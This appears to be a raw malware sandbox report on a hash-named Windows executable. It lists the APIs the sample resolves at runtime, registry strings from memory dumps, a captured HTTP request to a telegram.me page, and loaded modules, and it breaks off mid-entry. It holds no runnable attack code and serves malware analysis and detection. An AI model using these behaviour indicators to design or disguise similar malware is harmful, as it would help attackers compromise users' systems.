"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RtlAddFunctionTable (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtClose (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtReadFile (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtWriteFile (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtCreateFile (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryInformationFile (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtSetInformationFile (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryDirectoryFile (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtAllocateVirtualMemory (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtFreeVirtualMemory (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtProtectVirtualMemory (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryVirtualMemory (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtReadVirtualMemory (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtOpenProcess (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtTerminateProcess (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtOpenProcessToken (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryInformationToken (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtAdjustPrivilegesToken (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtCreateThreadEx (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtSetInformationThread (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtDelayExecution (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtWaitForSingleObject (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtSetTimer2 (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtDuplicateObject (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryObject (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryInformationWorkerFactory (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtCreateMutant (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtOpenKey (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtEnumerateKey (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtQueryValueKey (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtCreateSemaphore (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter NtReleaseSemaphore (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter SetConsoleOutputCP (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptSetProperty (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptGenerateSymmetricKey (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptDecrypt (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptEncrypt (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptCloseAlgorithmProvider (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptGenRandom (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter Process32FirstW (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter Process32NextW (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter wvsprintfA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetVolumeInformationA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter GetCurrentHwProfileA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RegSetValueExA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CreateDirectoryA (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpWriteData (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpReceiveResponse (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpQueryHeaders (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpReadData (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpSetOption (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpCrackUrl (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WinHttpAddRequestHeaders (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptCreateHash (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptHashData (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptFinishHash (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter BCryptDestroyHash (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00007980)2c:T1e92,Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "SetErrorMode"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "WerGetFlags"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetProcAddress"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "ExitProcess"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "ResumeThread"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetStdHandle"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "VirtualFree"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "VirtualQuery"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "RaiseFailFastException"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "SetEvent"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "SuspendThread"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "SetWaitableTimer"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "SetThreadContext"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "SwitchToThread"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "SetProcessPriorityBoost"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "CreateEventA"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetErrorMode"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "WerSetFlags"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "AddVectoredContinueHandler"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "CreateThread"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "TlsAlloc"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "CreateFileA"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "WriteFile"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "CloseHandle"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetThreadContext"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "WSAIoctl"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetFileType"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "WSAGetOverlappedResult"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00007980.00000000.140767.00092000.00000004.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00007980.00000000.140767.00092000.00000004.mdmp") Found reference to API (Indicator: "CreateActCtxW"; Source: "00000000-00007980.00000000.140767.00092000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00007980.00000000.140767.00092000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00007980.00000000.140767.00092000.00000004.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00007980.00000000.140767.00092000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00007980.00000000.140767.00092000.00000004.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp")2d:T627,"Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00007980.00000000.140767.369A0000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp2e:T627,"Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00007980.00000000.140767.369A0000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00007980.00000000.140767.FEFD0000.00000002.mdmp2f:T402,"GET /bj00tyr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0 Host: telegram.me" Response ==> HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Wed 07 Oct 2026 02:01:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4431 Connection: keep-alive Set-Cookie: stel_ssid=308798e8c734a8fb4c_10887513238513715492; expires=Thu 08 Oct 2026 02:01:25 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Content-Encoding: gzip Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C.......30:Ta37,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffbff8c0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ffc224a0000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "NTDLL.DLL" at base 7ffc25680000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "WINMM.DLL" at base 7ffc19d00000 "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" loaded module "WS2_32.DLL" at base 